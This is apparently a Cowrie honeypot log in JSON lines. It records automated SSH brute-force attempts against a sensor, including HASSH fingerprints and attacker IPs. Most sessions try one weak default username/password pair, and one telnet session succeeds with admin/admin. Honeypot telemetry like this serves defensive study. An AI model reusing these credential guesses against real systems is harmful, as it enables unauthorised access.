{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43166,"dst_ip":"159.203.135.109","dst_port":22,"session":"e557585efb04","protocol":"ssh","message":"New connection: 192.109.200.237:43166 (159.203.135.109:22) [session: e557585efb04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:35.851990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:35.968661Z","src_ip":"192.109.200.237","session":"e557585efb04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:35.972714Z","src_ip":"192.109.200.237","session":"e557585efb04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123456","message":"login attempt [user2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:36.300208Z","src_ip":"192.109.200.237","session":"e557585efb04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:37.385635Z","src_ip":"192.109.200.237","session":"e557585efb04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43174,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b654fb8a199","protocol":"ssh","message":"New connection: 192.109.200.237:43174 (159.203.135.109:22) [session: 5b654fb8a199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:39.136247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:39.139955Z","src_ip":"192.109.200.237","session":"5b654fb8a199","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:39.245540Z","src_ip":"192.109.200.237","session":"5b654fb8a199","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"123456","message":"login attempt [centos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:39.489613Z","src_ip":"192.109.200.237","session":"5b654fb8a199","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:40.648517Z","src_ip":"192.109.200.237","session":"5b654fb8a199","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:41.170971Z","src_ip":"152.32.132.28","session":"e41800e251f0","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:41.222780Z","src_ip":"152.32.132.28","session":"e41800e251f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.263800382614136,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:41.684175Z","src_ip":"192.119.13.58","session":"1edc963f2620","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36538,"dst_ip":"159.203.135.109","dst_port":22,"session":"5946aec295d3","protocol":"ssh","message":"New connection: 192.109.200.237:36538 (159.203.135.109:22) [session: 5946aec295d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:42.280662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:42.284748Z","src_ip":"192.109.200.237","session":"5946aec295d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:42.366109Z","src_ip":"192.109.200.237","session":"5946aec295d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:42.611046Z","src_ip":"192.109.200.237","session":"5946aec295d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:43.694685Z","src_ip":"192.109.200.237","session":"5946aec295d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36550,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b5fe5b56de7","protocol":"ssh","message":"New connection: 192.109.200.237:36550 (159.203.135.109:22) [session: 6b5fe5b56de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:45.483266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:45.578431Z","src_ip":"192.109.200.237","session":"6b5fe5b56de7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:45.585867Z","src_ip":"192.109.200.237","session":"6b5fe5b56de7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:45.909618Z","src_ip":"192.109.200.237","session":"6b5fe5b56de7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:46.994366Z","src_ip":"192.109.200.237","session":"6b5fe5b56de7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36554,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e6ef838550c","protocol":"ssh","message":"New connection: 192.109.200.237:36554 (159.203.135.109:22) [session: 8e6ef838550c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:48.702604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:48.707189Z","src_ip":"192.109.200.237","session":"8e6ef838550c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:48.789605Z","src_ip":"192.109.200.237","session":"8e6ef838550c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc456","message":"login attempt [root/123abc456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:49.036064Z","src_ip":"192.109.200.237","session":"8e6ef838550c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:50.194166Z","src_ip":"192.109.200.237","session":"8e6ef838550c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45674,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6a810082d3f","protocol":"ssh","message":"New connection: 192.109.200.237:45674 (159.203.135.109:22) [session: b6a810082d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:51.813166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:51.817305Z","src_ip":"192.109.200.237","session":"b6a810082d3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:51.901740Z","src_ip":"192.109.200.237","session":"b6a810082d3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:52.147083Z","src_ip":"192.109.200.237","session":"b6a810082d3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:53.232312Z","src_ip":"192.109.200.237","session":"b6a810082d3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45676,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce2b0020db9c","protocol":"ssh","message":"New connection: 192.109.200.237:45676 (159.203.135.109:22) [session: ce2b0020db9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:54.887356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:54.892280Z","src_ip":"192.109.200.237","session":"ce2b0020db9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:54.974431Z","src_ip":"192.109.200.237","session":"ce2b0020db9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:55.329838Z","src_ip":"192.109.200.237","session":"ce2b0020db9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:56.414810Z","src_ip":"192.109.200.237","session":"ce2b0020db9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45680,"dst_ip":"159.203.135.109","dst_port":22,"session":"215de248e7a1","protocol":"ssh","message":"New connection: 192.109.200.237:45680 (159.203.135.109:22) [session: 215de248e7a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:58.136971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:58.144781Z","src_ip":"192.109.200.237","session":"215de248e7a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:58.228799Z","src_ip":"192.109.200.237","session":"215de248e7a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123456","message":"login attempt [administrator/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:58.480007Z","src_ip":"192.109.200.237","session":"215de248e7a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:19:59.564728Z","src_ip":"192.109.200.237","session":"215de248e7a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50090,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5b3178a10e7","protocol":"ssh","message":"New connection: 192.109.200.237:50090 (159.203.135.109:22) [session: a5b3178a10e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:01.267831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:20:01.272528Z","src_ip":"192.109.200.237","session":"a5b3178a10e7","protocol":"ssh"}
